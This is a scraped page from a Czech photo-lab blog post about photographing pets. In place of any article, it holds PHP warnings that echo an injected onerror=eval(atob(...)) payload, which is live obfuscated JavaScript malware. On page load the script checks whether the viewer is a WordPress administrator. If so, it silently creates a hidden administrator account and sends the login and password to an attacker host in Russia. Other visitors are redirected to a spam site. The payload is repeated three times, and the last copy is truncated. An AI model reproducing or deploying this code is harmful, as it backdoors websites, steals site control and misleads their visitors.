CEWE Fotolab

Jak fotit domácí mazlíčky


Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /www/doc/old.fotolab.cz/www/blog/wp-content/themes/gridlove-child/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));" href='.php in /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /www/doc/old.fotolab.cz/www/blog/wp-content/themes/gridlove/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));" href='.php in /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review-pro/includes/addons/wppr_listings/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgP